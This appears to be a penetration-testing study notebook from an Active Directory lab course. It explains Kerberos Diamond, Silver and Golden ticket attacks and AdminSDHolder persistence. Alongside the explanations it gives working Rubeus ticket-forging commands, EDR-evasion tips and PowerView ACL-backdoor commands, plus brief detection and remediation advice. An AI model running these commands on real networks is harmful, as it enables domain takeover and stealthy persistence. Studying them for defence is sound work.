C:\AD\Tools\Rubeus.exe diamond /krbkey:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /user:studentx /password:StudentxPassword /enctype:aes /ticketuser:administrator /domain:dollarcorp.moneycorp.local /dc:dcorp-dc.dollarcorp.moneycorp.local /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
/krbkey→ krbtgt AES key/user+/password→ valid domain user credentials/ticketuser:administrator→ impersonate admin/groups:512→ add Domain Admins group/createnetonly→ spawn a new process (cmd) with this ticket/ptt→ pass-the-ticket (inject into current session)
2. Using delegated TGT (/tgtdeleg)
Rubeus.exe diamond
/krbkey:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848
/tgtdeleg
/enctype:aes
/ticketuser:administrator
/domain:dollarcorp.moneycorp.local
/dc:dcorp-dc.dollarcorp.moneycorp.local
/ticketuserid:500
/groups:512
/createnetonly:C:\Windows\System32\cmd.exe
/show
/ptt
same command in one line:
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args diamond /krbkey:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /tgtdeleg /enctype:aes /ticketuser:administrator /domain:dollarcorp.moneycorp.local /dc:dcorp-dc.dollarcorp.moneycorp.local /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
Explanation:
/krbkey | krbtgt AES256 or RC4 key |/tgtdeleg | lets Rubeus extract a valid TGT from memory (no creds needed if you already have user context). |/ticketuser | User you want to impersonate (e.g., administrator) |/ticketuserid | RID of user (500 = built-in Administrator) |/groups | SID group list (512 = Domain Admins) |/createnetonly | Spawn a new process with only this ticket |/ptt | Pass-the-ticket (injects into memory) |🧩 Step 4: Use the Diamond Ticket to Access Services
After /ptt, your ticket is injected into memory.
Now you can do:
dir \\dcorp-dc.dollarcorp.moneycorp.local\C$
Or open a privileged session:
C:\Windows\System32\cmd.exe
You’ll have DA privileges under the impersonated user.
Sliver Ticket Attack
Understanding The Core Concept
🚀 What is a Silver Ticket Attack?
A Silver Ticket attack is a Kerberos-based attack where an attacker forges a service ticket (TGS) to access a specific service (like SQL, HTTP, CIFS, etc.) on behalf of a legitimate user — without needing to interact with the domain controller after forging the ticket.
Unlike Golden Tickets, which give access to any service in the domain, Silver Tickets are scoped to a single SPN (service principal name) like CIFS/server, HTTP/server, etc.
👉 Golden ticket = forge TGT (Ticket Granting Ticket) → access to everything
👉 Silver ticket = forge TGS (service ticket) → access to specific service
Because the ticket is presented directly to the service (not to the KDC), Domain Controllers never see the request → fewer logs and much stealthier.
⚙️Why Silver Ticket Attack is more Stealthier than Golden Ticket Attack:
Silver Ticket attacks are considered more stealthy than Golden Ticket attacks because Golden Tickets rely on the krbtgt account (which resides on the KDC and is heavily monitored by security solutions like Microsoft Defender for Identity -MDI), whereas Silver Tickets are forged using service account credentials and only interact directly with the target service, making them less likely to trigger high-fidelity alerts.
You can forge a Silver Ticket for DC service accounts (like CIFS/DC01, LDAP/DC01, etc.), and it usually remains undetected by Microsoft Defender for Identity (MDI) because there’s no KDC involvement. That’s why Silver Tickets are considered more stealthy than Golden Tickets, even when targeting the DC itself.
⚡ How Kerberos works (simplified flow)
1️⃣ User authenticates and gets a TGT (Ticket Granting Ticket) from the KDC/Domain Controller (encrypted with KRBTGT account key).
2️⃣ User presents TGT to request a TGS (Service Ticket) from the KDC for the service (like CIFS/SQL).
3️⃣ User presents TGS to the service to access it.
🧩 Requirements Before Exploitation
✅ Domain SID (can be retrieved from any domain account using
whoami /user)✅ Hostname and SPN of target service (e.g., MSSQLSvc/db1.dollarcorp.moneycorp.local)
✅ NTLM hash of the target service account (
db1$)✅ Tool to forge and inject ticket (e.g., Rubeus, Mimikatz)
⚠ How the Silver Ticket attack happens
📌 Key idea
If an attacker compromises the password hash of a service account (e.g. the account under which SQL runs or HTTP runs), they can forge a valid service ticket (TGS) for that service.
👉 The TGS is encrypted/signed using the service account’s password hash (because that’s what the service can verify).
⚠ Common ways attackers obtain the service key
Method 1 — LSASS dump
Compromise a machine running the service.
Then dump LSASS.
Result:
🔑 Service account hash appears in memory.
Example:
SQL running as
sqlsvcIIS running as
websvcComputer account
SERVER$
Method 2 — DCSync
If attacker has replication rights:
🧠 Domain Controller
➡️ returns password hashes for any account
So attacker can request:
🔑 DB1$
🔑 SQLSVC
🔑 DC01$
Then forge tickets.
Method 3 — Kerberoasting (what you suggested)
Yes — this works too.
Normal user can request:
🎟️ TGS for a service SPN
Example:
User requests:
🎫 TGS for MSSQLSvc/db1
KDC sends ticket encrypted with:
🔑 SQL service account key
Attacker then:
🧨 extracts encrypted blob
🧨 cracks it offline
If password is weak:
🔓 attacker gets service account hash
Then attacker can forge Silver Ticket.
So your idea is 100% valid.
📌 Steps
✅ 1. Attacker compromises service account credentials (NTLM hash / password)
- For example:
HTTP/srv-web.research.localorMSSQLSvc/sql.research.local
✅ 2. Attacker uses Mimikatz or similar tool to forge a TGS for that service
They craft a ticket claiming any user identity (even admin)
The ticket is encrypted with the service account’s NTLM hash so it looks valid to the service
✅ 3. Attacker presents this forged ticket directly to the target service
- Since the service can decrypt and validate the ticket (it trusts its own key), access is granted!
✅ 4. No communication with Domain Controller is required during usage
- So detection is harder because no logon event is generated at the DC.
Commonly Target Services in Silver Ticket:
net use, dir \\host\share) |💡 Bonus Tip: Many SPNs are tied to the computer account (hostname$) — so if you dump a machine’s hash, you can often target all these services on that host with forged Silver Tickets.
Most service accounts are AD user accounts with SPNs registered, which differentiates them from normal user accounts.
⚡ One subtle thing many people miss
Silver Tickets can impersonate users that don’t even exist.
Example:
👤 fakeadmin
If PAC says:
👥 Domain Admin
Service will still accept it.
Because it trusts the PAC inside the ticket.
🔍 Persistance Peroid of Golden Ticket
Silver Ticket Persistence
- A Silver Ticket is forged using the NTLM hash of a service account or computer account (not
krbtgt).
Persistence:
As long as the service account’s password (or machine account password) remains unchanged.
Service accounts: Many organizations set them with “Password never expires”, so a Silver Ticket could last indefinitely.
Machine accounts: By default, Windows rotates machine account passwords every 30 days, so Silver Ticket persistence for computer accounts is typically ~30 days. But for user-based service accounts (often set to “never expire”), persistence can be much longer.
🚫 Limitations
Works only for that service on that system (scoped).
If the service enforces PAC validation (with KDC), the forged ticket will fail.
You need the exact SPN and hash of the service account.
If the service logs user access or performs detailed auditing, the fake identity might be suspicious.
🛡️ Detection and Defense Tips (for Blue Teams)
Event ID 4624 on the target machine with unexpected usernames.
PAC validation failures (Event ID 4769 with KDC_ERR_PADATA_TYPE_NOSUPP).
Monitor for tickets used without a matching request to the KDC.
Service logs showing high-privilege users accessing them in unusual ways.
How the attack works ?? - Logic
⚙️ How it Works Internally
1. Valid Service Ticket (TGS)
A Service Ticket (TGS) is normally issued by the KDC (Domain Controller) for a specific service that the user wants to access.
Normal Kerberos Flow
👤 User → Requests access to a service (Example: SMB on DC01)
👤 User → asks KDC for a service ticket for that service
🧠 KDC verifies the user’s TGT and then creates a TGS
The generated ticket contains:
📦 Ticket Content
• User identity
• User SID
• Group memberships
• Privileges
• Logon metadata
This authorization block is called:
📜 PAC (Privilege Attribute Certificate)
After creating the ticket:
🧠 KDC
🔐 Encrypts the ticket using the service account key
Example
Service → CIFS/DC01
Service account → DC01$
So the ticket is encrypted using:
🔑 DC01$ password hash
The ticket is then returned to the user.
👤 User
➡️ Presents ticket directly to the service
🖥️ Service decrypts it and grants access.
Silver Ticket Concept
Instead of requesting a ticket from the KDC:
⚠️ Attacker creates the ticket offline
Because the attacker already has:
🔑 Service account NTLM/Kerberos key
So the attacker becomes capable of generating a valid-looking service ticket without contacting the KDC.
2. Encryption / Signing
Kerberos uses symmetric encryption to protect tickets.
Important rule of Kerberos:
🔑 Whoever owns the service key can produce a valid ticket for that service
This is because the service validates tickets using its own key.
Service validation process:
🖥️ Service receives ticket
⬇
Attempts decryption using its key
If decryption works:
✔ Ticket assumed valid
✔ Ticket assumed issued by the KDC
So if an attacker possesses:
🔑 Service account hash
They can generate a ticket that the service will successfully decrypt.
Example
Service → HTTP/dcorp-dc
Account → DC computer account
Attacker with the computer account hash can forge a valid HTTP service ticket.
Because the encryption key matches, the service trusts the ticket.
3. PAC (Privileged Attribute Certificate)
Inside every Kerberos ticket is the PAC.
The PAC contains authorization information, including:
👤 Username
🆔 User SID
👥 Group memberships
⚡ Privileges
Example PAC content
User → attacker
Groups →
• Domain Users
• Domain Admins
• Enterprise Admins
Important Kerberos Behavior
When the KDC creates the PAC:
🧠 KDC signs the PAC
However when the service receives the ticket:
🖥️ Service usually does not validate the PAC with the KDC
Instead the service performs:
1️⃣ Decrypt ticket
2️⃣ Extract PAC
3️⃣ Apply privileges
So if the attacker forges a PAC containing:
⚠️ Domain Admin privileges
The service will accept it as long as the ticket decrypts correctly.
This design choice exists because validating PAC with the DC for every authentication would create significant performance overhead.
Because of that design:
➡️ Services often trust the PAC blindly
➡️ Which makes Silver Tickets effective
4. Scope of Access
A Silver Ticket only works for the specific service whose key was used.
Reason:
🔐 Ticket encryption must match the service account key
Example
Forged ticket created for:
🎯 CIFS/DC01
Access granted to:
📂 SMB file shares
📂 Administrative shares
But if the attacker attempts to use that same ticket for:
❌ LDAP/DC01
❌ WinRM/DC01
❌ MSSQL/DC01
It fails because those services use different encryption keys.
So the scope is limited to:
🎯 one service → one server
Example scopes
This is why Silver Tickets are service-scoped, unlike Golden Tickets which affect the entire domain.
5. Persistence
Silver Ticket persistence depends on the service account password lifetime.
Common scenarios:
🖥️ Machine accounts
• Password rotates automatically
• Default rotation ≈ 30 days
After password rotation:
🔑 Old service hash becomes invalid
🎫 Previously forged tickets stop working
However many environments use:
👤 Manual service accounts
Examples
sqlsvc
backupsrv
websvc
These accounts often have:
⚠️ Static passwords
⚠️ No rotation for years
If a Silver Ticket is forged using such an account:
➡️ Persistence can last months or years
🔑 Core Security Weakness
Silver Tickets work because of two Kerberos design assumptions:
1️⃣ Services trust tickets that decrypt correctly
2️⃣ Services often do not validate PAC with the KDC
So if an attacker knows:
🔑 Service account key
They effectively become:
⚠️ the ticket issuer for that service
Pac Validation
🧠 Who the TGS “belongs” to
A TGS (service ticket) is created by the KDC, but it is meant for a specific service.
Think of it like this:
🧠 KDC → creates ticket
🎫 Ticket → addressed to a service
🖥️ Service → is the only one who can decrypt it
Why?
Because the ticket is encrypted with:
🔑 service account key
Example:
Service: CIFS/DC01
Account: DC01$
So:
🧠 KDC encrypts ticket using → DC01$ key
Then:
👤 Client sends ticket → 🖥️ DC01
Only DC01 can decrypt it.
📦 Where the PAC comes from
Yes — the PAC is inserted by the KDC when it creates the ticket.
PAC contains:
👤 User identity
🆔 SID
👥 Group memberships
⚡ Privileges
So the ticket looks conceptually like:
🎫 Service Ticket
┣ 🔐 Encrypted part (for service)
┃ ┣ 📦 PAC
┃ ┣ User SID
┃ ┣ Groups
┃ ┗ Privileges
⚠️ What happens in a Silver Ticket
The attacker does not ask the KDC.
Instead:
👤 Attacker
➡️ creates fake ticket offline
Because attacker already knows:
🔑 service account hash
So the attacker can:
✔ build a ticket
✔ insert a fake PAC
✔ encrypt the ticket using the service key
Now the service receives it:
🖥️ Service
⬇
decrypts ticket successfully
⬇
reads PAC
⬇
applies privileges
Since the ticket decrypted correctly, the service assumes:
✔ ticket came from the KDC
🔍 Now your question: PAC validation
Some services can do PAC validation with the KDC.
Flow becomes:
🖥️ Service receives ticket
⬇
decrypts ticket
⬇
reads PAC
⬇
contacts KDC to verify PAC signature
🚨 What happens if the PAC was forged
If attacker modified the PAC:
📦 PAC contents ≠ KDC signature
So when service asks the KDC:
🖥️ Service → 🧠 KDC
“Is this PAC valid?”
KDC checks:
✔ PAC signature
✔ integrity
Since attacker does not have the KDC signing key:
❌ PAC verification fails
Result:
🚫 Authentication rejected
🔑 Why Silver Tickets often still work
Because in many cases:
🖥️ Service does NOT ask the KDC
Instead it does:
decrypt ticket ✔
trust PAC ✔
grant privileges ✔
So the forged PAC is never checked.
That’s the key weakness.
⚡ The Important Keys in Kerberos
There are two different keys involved, which is why this works.
Service ticket encryption
🔑 Service account key
PAC signature
🔑 KDC key
Attacker with only the service key can:
✔ encrypt the ticket
✔ make the service accept it
But attacker cannot produce a valid PAC signature, which is why PAC validation would stop the attack.
Windows Example - PoC
⚔️ Step-by-Step Exploitation
Step 1: Get Domain SID
Use whoami /user or Rubeus:
whoami /user
S-1-5-21-719815819-3726368948-3917688648-1001 -> User SID
S-1-5-21-719815819-3726368948-3917688648 -> Domain SID
Step 2: Obtain NTLM Hash of Service Account
Suppose you’ve dumped credentials using DCSync, LSASS, or secretsdump:
db1$:aad3b435b51404eeaad3b435b51404ee:6e58e06e07588123319fe02feeab775d:::
We need the RC4/NTLM hash:
6e58e06e07588123319fe02feeab775d
Step 3: Identify Target SPN
Service running is MSSQL, target server is db1.
SPN becomes:
MSSQLSvc/db1.dollarcorp.moneycorp.local
Step 4: Forge Silver Ticket
Use Rubeus to forge the Silver Ticket:
Rubeus.exe silver /service:MSSQLSvc/db1.dollarcorp.moneycorp.local \
/rc4:6e58e06e07588123319fe02feeab775d \
/sid:S-1-5-21-719815819-3726368948-3917688648 \
/user:Administrator \
/domain:dollarcorp.moneycorp.local \
/ptt
OR
**#prefered**
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args evasive-silver /service:http/dcorp-dc.dollarcorp.moneycorp.local \
/rc4:6e58e06e07588123319fe02feeab775d \
/sid:S-1-5-21-719815819-3726368948-3917688648 \
/ldap /user:Administrator /domain:dollarcorp.moneycorp.local /ptt
✅ This creates a forged service ticket for the MSSQL service, impersonating Administrator, signed with the service account’s hash, and injects it into memory.
/service:http/dcorp-dc... | The SPN (Service Principal Name) for which the forged ticket is being created. In this case, it’s an HTTP service on the domain controller machine. |/rc4:<hash> | The NTLM hash of the service account (in this case, probably the computer account of dcorp-dc). It is used to encrypt and sign the forged service ticket. |/sid:<domain SID> | The SID of the domain. Required for crafting the user’s authorization data (PAC). |/user:Administrator | The impersonated user for the forged ticket. You’re pretending to be Administrator. |/domain:<domain FQDN> | The target domain. |/ptt | “Pass-the-ticket”: directly injects the crafted ticket into memory. |/ldap | Optional(Use only if you are forging ticket for DC service account): After forging the ticket, Rubeus performs an LDAP query to the Domain Controller, using the forged identity to fetch user attributes, group membership, etc. |While forging silver ticket we mostly use RC4(NTLM) Key of the service not the AES key, because mostly of the service accounts still use RC4 instead of AES.
above hashes are got by dumping the lsass of DC, steps shown in golden ticket attack.
Now you can view whether the ticket has been generated and imported in session using klist command. But some heavily monitored EDRs have problem with klist command so to avoid this you can use rubeus klist option:
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args klist
Step 5: Access the MSSQL Service
Now, you can connect to MSSQL (using tools like sqlcmd, PowerUpSQL, or AD module) as Administrator.
sqlcmd -S db1.dollarcorp.moneycorp.local
🎯 You’ll be granted access with Administrator rights, since the service reads the ticket and sees:
“This is from user Administrator” — and it was signed properly (with its own key), so it trusts it.
OR
Accessing DC as we have Service ticket of DC in previous step:
As we have got http service ticket so we can access dc using winrs:
winrs -r:dcorp.dollarcorp.moneycorp.local cmd
As the ticket is for http service only so when we try to list C$ on DC, we get error message because we don’t service ticket for CIFS service.
Difference Between Golden Silver & Diamond
🟡 Golden Ticket – No AS-REQ Trail
A Golden Ticket is created completely offline using the krbtgt account hash.
Normal Kerberos login flow
1️⃣ User authenticates to the DC
➡️ sends AS-REQ (Authentication Service Request)
2️⃣ DC responds
➡️ AS-REP containing the TGT
3️⃣ User uses that TGT later to request service tickets.
So the Domain Controller normally logs:
📜 Event 4768 — TGT issued
What happens in a Golden Ticket attack
In a Golden Ticket scenario:
👤 Attacker
🔧 forges a TGT offline
Because they already know:
🔑 krbtgt key
So the attacker skips the entire AS-REQ stage.
Flow becomes:
👤 Attacker
➡️ uses forged TGT directly to request services
From the DC’s perspective:
❌ No AS-REQ happened
❌ No TGT was issued
But suddenly the attacker requests services using a TGT that the DC never created.
So logs look like:
⚠️ Service ticket requests appear
⚠️ But no earlier TGT issuance
This gap is suspicious for defenders.
That’s what people mean by:
➡️ “Golden Ticket leaves no AS-REQ trail.”
🔵 Diamond Ticket – Uses a Legitimate TGT
A Diamond Ticket works differently.
Instead of forging the TGT entirely, the attacker:
1️⃣ Authenticates normally to the DC
2️⃣ Receives a legitimate TGT
3️⃣ Decrypts it locally
4️⃣ Modifies the PAC / privileges
5️⃣ Re-signs it using the krbtgt key
So the flow becomes:
👤 Attacker
➡️ normal login
➡️ DC issues TGT
The DC logs:
📜 Event 4768 (TGT issued)
Then the attacker modifies that TGT after receiving it.
From the DC’s perspective:
✔ TGT request exists
✔ timestamps look valid
✔ authentication looks normal
So there is no obvious missing event.
That’s why people say:
➡️ Diamond Tickets have valid timestamps and log evidence.
🎯 Simple Mental Model
Golden Ticket
🧠 DC never issued the TGT
🎫 Attacker fabricated it
🚨 Missing authentication logs
Diamond Ticket
🧠 DC really issued the TGT
🔧 Attacker modified it later
👀 Logs look legitimate
🧠 Kerberos Ticket Attacks Difference – Quick Mental Map
🥇 Golden Ticket
Attack idea:
➡️ Create a fake TGT completely offline
Requirements:
🔑 krbtgt account hash
Why?
Because the Kerberos Domain Controller signs all TGTs with the krbtgt key.
So attacker does:
🛠 Forge TGT
📦 Insert PAC (Domain Admin etc.)
🔏 Sign with krbtgt key
Then use it like a real TGT:
👤 Attacker
➡️ TGS-REQ → DC
DC verifies signature → looks valid → issues service ticket.
Key characteristic:
❌ No AS-REQ ever happened
The TGT was never issued by the DC.
🥈 Silver Ticket
Attack idea:
➡️ Forge the service ticket instead of the TGT
Requirements:
🔑 service account hash
Example services:
- CIFS/DC01
• MSSQLSvc/db01
• HTTP/web01
Flow:
👤 Attacker
🛠 Forge TGS
Then present it directly to the service:
👤 Attacker → 🖥️ Service
Important:
❌ Domain Controller is never contacted.
The service just decrypts the ticket using its own key and trusts it.
💎 Diamond Ticket
Diamond Ticket sits between Golden and normal Kerberos.
Instead of creating a fake TGT:
➡️ Attacker gets a real TGT from the DC first
Steps:
1️⃣ Attacker authenticates normally
2️⃣ DC issues a legitimate TGT
3️⃣ Attacker decrypts it locally
4️⃣ Modifies the PAC (privileges)
5️⃣ Re-signs it using krbtgt key
Now attacker uses the modified ticket.
Key characteristics:
✔ TGT actually came from DC
✔ Valid timestamps
✔ Legitimate AS-REQ exists in logs
So logs look normal.
🔎 Visual Comparison
Normal Kerberos
User → AS-REQ → DC
DC → TGT issued
Golden Ticket
Attacker → forge TGT offline
No AS-REQ.
Diamond Ticket
Attacker → AS-REQ → DC
DC → legitimate TGT
Attacker → modifies TGT
Silver Ticket
Attacker → forge TGS
Attacker → directly to service
DC never involved.
🎯 One-line summary
Golden Ticket
➡️ Fake TGT
Silver Ticket
➡️ Fake service ticket
Diamond Ticket
➡️ Real TGT but modified
🥇 Golden vs Silver vs Diamond (Quick Table)
Persistence using ACL -AdminSDHolder - Domain Persistence
Understanding The Core Concept
🔐 What is AdminSDHolder?
AdminSDHolder is a special security object in Active Directory located in CN=System,DC=domain,DC=com.
Its main purpose is to define and protect the Access Control Lists (ACLs) of a set of high-privilege accounts and groups in Active Directory called Protected Groups.— like Domain Admins or Enterprise Admins.
Think of it like this:
“Whatever permissions are set on AdminSDHolder will be copied to all the VIP accounts (called protected accounts) regularly.”
🧱 What Are Protected Groups?
These groups are considered high-value targets and include:
These accounts are sensitive and thus protected from unauthorized ACL changes.
🔁 What is the SDProp Process?
SDProp = Security Descriptor Propagator, a built-in process that runs every 60 minutes by default on the PDC Emulator.
SDProp compares the ACL of AdminSDHolder with the ACLs of each protected group and its members.
If there’s a difference, SDProp overwrites the ACLs of protected objects with that of AdminSDHolder.
This includes users who are members of protected groups, even nested members.
➡️ ACLs of protected users get reset every hour to match AdminSDHolder.
📂 Structure
DC=domain,DC=local
│
├── OU=IT
│ ├── john (user)
│ ├── pc1 (computer)
│
├── OU=Admins
│ ├── admin1 (Domain Admin)
│
├── CN=System
│ └── CN=AdminSDHolder ← ⭐ IMPORTANT
🧠 2. adminCount = 1 (Very Important Concept)
❓ Your Question
“Does adminCount = 1 mean object is protected by AdminSDHolder?”
✅ Short Answer
adminCount = 1 ⇒ YES, the object is (or was) protected
🧠 Full Explanation
🔐 What happens when a user becomes privileged?
Example:
john → added to Domain Admins
🔄 AD does:
adminCount = 1
Inheritance = disabled
ACL replaced by AdminSDHolder template
🔑 Meaning of adminCount
adminCount = 1 = Flag indicating SDProp protection applies
Example:-
If you compromise a Domain Controller and have Domain Admin rights, you can go to the properties of the Domain Admins group and add a user (e.g., student2) to the Security/Permissions tab (which contains all the ACLs), giving them FullControl over the group.
Although eviluser is not an actual member of the Domain Admins group, it can still fully control the group due to the permission he has.
The above examples showes that the add user student2 is not the part of domain admin group but still has full rights
However, because Domain Admins is a protected group, the SDProp process will run every 60 minutes on the PDC Emulator and overwrite the ACL of the Domain Admins group by copying the ACL from the AdminSDHolder object.
As a result, the custom permission given to student2 will be removed, and the ACL will be reset to its default protected state, thereby removing student2’s control over the Domain Admins group.
To bypass this automatic cleanup, an attacker can instead modify the ACL of the AdminSDHolder object itself and add student2 with FullControl there. Since AdminSDHolder is not reset by SDProp, this change persists, and every time SDProp runs, it will copy the modified ACL to all protected groups and users — thereby granting student2 persistent and hidden control over high-privileged accounts without needing group membership.
Adding user to AdminSDHolder:
SDProp overwritting the ACL of all the protected groups by copying from AdminSDHolder, ultimately adding the user to the ACL of the Domain Admin groups(now student 2 will be added to all protect groups - ACLs):
💥 Persistence via AdminSDHolder Abuse
If you gain Domain Admin privileges, you can modify the ACL of the AdminSDHolder object to backdoor access.
🎯 Attack Goals:
Get FullControl / WriteDACL / WriteOwner rights to privileged accounts (without being a visible group member).
Survive group membership cleanup or blue team detection.
🧠 How Attackers Abuse AdminSDHolder
🧠 Goal:
Grant student1 persistent, hidden access (like FullControl, ResetPassword, or WriteMembers) on protected groups (like Domain Admins) by modifying the AdminSDHolder object, and force SDProp to apply those changes immediately.
🔐 Step-by-Step Breakdown:
✅ Step 1: Add student1 to the ACL of AdminSDHolder (Persistence Setup)
🛠️ Using PowerView (as Domain Admin):
Add-DomainObjectAcl `
-TargetIdentity 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' `
-PrincipalIdentity student1 `
-Rights All `
-PrincipalDomain dollarcorp.moneycorp.local `
-TargetDomain dollarcorp.moneycorp.local `
-Verbose
🔹 This gives student1 FullControl on AdminSDHolder.
🔁 Which means: Every 60 minutes, SDProp will copy these permissions to:
Domain Admins
Enterprise Admins
Schema Admins
And all protected users
🔥 student1 now has full rights to all of them without being in any group.
✅ Alternative: Use RACE Toolkit + ActiveDirectory Module
Set-DCPermissions `
-Method AdminSDHolder `
-SAMAccountName student1 `
-Right GenericAll `
-DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' `
-Verbose
🔹 This also adds GenericAll (same as FullControl) for student1 on AdminSDHolder.
✅ Step 2 (Optional): Give Specific Permissions (e.g., ResetPassword, WriteMembers)
Instead of FullControl, you can grant specific rights:
ResetPassword:
WriteMembers (i.e., modify group memberships):
Add-DomainObjectAcl `
-TargetIdentity 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' `
-PrincipalIdentity student1 `
-Rights ResetPassword `
-PrincipalDomain dollarcorp.moneycorp.local `
-TargetDomain dollarcorp.moneycorp.local `
-Verbose
Add-DomainObjectAcl `
-TargetIdentity 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' `
-PrincipalIdentity student1 `
-Rights WriteMembers `
-PrincipalDomain dollarcorp.moneycorp.local `
-TargetDomain dollarcorp.moneycorp.local `
-Verbose
⏱️ Step 3: Force SDProp Immediately (Instead of Waiting 60 Mins)
Run this on the PDC Emulator to force SDProp now:
For Server 2008 and later:
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
For Pre-2008 systems:
Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutes 1 -showProgress -Verbose
🔁 This forces AdminSDHolder’s ACL to be applied to all protected users and groups immediately.
🔍 Step 4: Verify if student1 Got Added to Domain Admins ACL
Now you check if student1 is present in the ACL of Domain Admins:
🧰 Using PowerView (normal user):
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
ForEach-Object {
$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier); $_
} | ? { $_.IdentityName -match "student1" }
🧰 Using ActiveDirectory Module:
(Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local').Access |
? { $_.IdentityReference -match 'student1' }
✅ If the output shows entries for student1, it means SDProp has applied AdminSDHolder’s ACL to Domain Admins.
🧠 Summary:
student1 to AdminSDHolder ACL | Sets up persistence |student1 gains stealthy control |Invoke-SDPropagator | Forces the ACL to replicate |Domain Admins or others | Confirms persistence works |This technique is used by advanced red teamers and APT actors to maintain stealthy, long-term access without group membership.
🛠️ Real-World Abuses by Protected Groups (for lateral movement / persistence)
🧪 Examples:
backdooruser, and restore it — even to DA group. |ntds.dit via shadow copies. |💥 Advanced Abuse
With WriteDACL on Domain Admins, an attacker can:
Add ACE that grants “GenericAll” or “WriteMember”.
Or just reset the DACL to default, removing all detection barriers.
Even if the user is removed from Domain Admins group, they still control the group via ACL.
🧹 How to Detect AdminSDHolder ACL Abuse
🛡️ Detection:
Use BloodHound to identify users with dangerous ACL rights.
Check AdminSDHolder ACL manually or with:
Get-ACL "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=com"Get-DomainObjectAcl(PowerView)
📍Indicators:
Users not in DA/EA but have
GenericAllon AdminSDHolder.Non-standard ACEs on AdminSDHolder or protected groups.
🔐 How to Remediate
Restore default ACLs on AdminSDHolder.
Remove unauthorized ACEs using
Set-Aclor ADSIEdit.Rotate passwords for all impacted privileged accounts.
Run
SDPropmanually to force re-propagation:repadmin /propagate <PDC-HOSTNAME> <NC> <GUID> /sync
❓Can we have different ACLs for different protected groups?
❌ No, because SDProp copies the same ACL from AdminSDHolder to all protected users and groups every 60 minutes — overwriting any custom ACLs.
So what if we want different ACLs for different protected groups?
That’s where things get tricky.
⚠️ Short Answer:
You can’t do that reliably while SDProp is active.
Any manual or programmatic change to the ACL of a protected group/user (e.g., give helpdesk_user WriteMember on only Backup Operators) will be overwritten by SDProp unless you change the source ACL: AdminSDHolder.
✅ Options to Handle This Scenario:
Remove object from protected group
→ Set
adminCount=0→ Now you can apply a custom ACL (but object won’t be protected anymore).
Don’t use protected groups for delegation
→ Use custom groups instead and assign custom ACLs freely.
Modify AdminSDHolder ACL carefully
→ But changes apply to all protected objects, not individually.
Disabling SDProp (not recommended)
→ Possible via registry but very risky and breaks AD security model.
🔐 Bottom Line:
Protected groups must share the same ACL, defined by AdminSDHolder.
For custom permissions, avoid using protected groups.
Let me know if you want a real-world example or demo setup.
Example & Conditions
🧠 1. Who Can Modify AdminSDHolder (By Default)
AdminSDHolder is just an AD object, so its ACL defines who can modify it.
🔐 Default Principals with Control
Typically:
Domain Admins
Enterprise Admins
SYSTEM (Domain Controller)
Sometimes Administrators group
🧠 Meaning
Only HIGH privilege principals can modify AdminSDHolder by default
👉 That’s why you rarely see direct access.
🔥 2. So If You Don’t Have Access → What’s the Real Path?
👉 The real-world answer:
You don’t target AdminSDHolder first
You escalate to something that CAN modify it
🧠 3. The Real Question You Should Ask
Instead of:
“How do I access AdminSDHolder?”
Think:
“Who has rights over AdminSDHolder, and how do I become them?”
⚙️ 1. Conditions Required for Abuse
✅ Minimum Condition
You need ANY of these on AdminSDHolder:
WriteDACL ✅ (most common)
GenericAll ✅
GenericWrite (sometimes, if enough control)
WriteOwner (can escalate to WriteDACL)
❗ That’s it
No need to touch Domain Admins directly
🔥 Realistic Misconfig
Example:
Helpdesk group → WriteDACL → AdminSDHolder
👉 Boom → full domain compromise possible
🧠 2. Why It Works (Core Logic)
Normal Case
AdminSDHolder ACL
↓
SDProp
↓
Protected Users (overwrite)
After Attack
You modify AdminSDHolder ACL
↓
SDProp copies YOUR permissions
↓
All admins become accessible to you
🔗 Common Indirect Paths to AdminSDHolder
⚔️ PATH 1: WriteDACL / GenericAll on DOMAIN
🧠 Why this works
Domain object controls permissions over entire directory
Includes ability to modify ACLs on:
- AdminSDHolder
- Users
- Groups
🔥 Attack Logic
WriteDACL on DOMAIN
↓
Modify ACL of AdminSDHolder
↓
Backdoor it
↓
SDProp → Domain Admin control
🧪 Example Flow
# Step 1: Add yourself to AdminSDHolder ACL via domain rights
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -PrincipalIdentity lowuser -RightsAll
💥 Impact
Domain WriteDACL = indirect AdminSDHolder compromise
⚔️ PATH 2: OU → Privileged Group → AdminSDHolder Chain
🧠 Indirect escalation
GenericWrite → OU
↓
Control users
↓
Add yourself to privileged group
↓
Gain rights over AdminSDHolder
👉 This happens when:
Delegation is misconfigured
AdminSDHolder ACL includes privileged group you can join
🔍 3. How to ENUMERATE AdminSDHolder
🎯 Method 1: PowerView
Get-DomainObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -ResolveGUIDs
IdentityReference : DOMAIN\helpdesk
ActiveDirectoryRights : WriteDACL
ObjectDN : CN=AdminSDHolder,CN=System,DC=domain,DC=local
🎯 Method 2: BloodHound
Look for edge:
User → WriteDACL → AdminSDHolder
🧠 What you’re looking for
Non-admin user/group having:
- WriteDACL
- GenericAll
- WriteOwner
⚔️ 4. How to MODIFY It (Conceptual)
🎯 Goal
Add yourself into ACL:
attacker → GenericAll
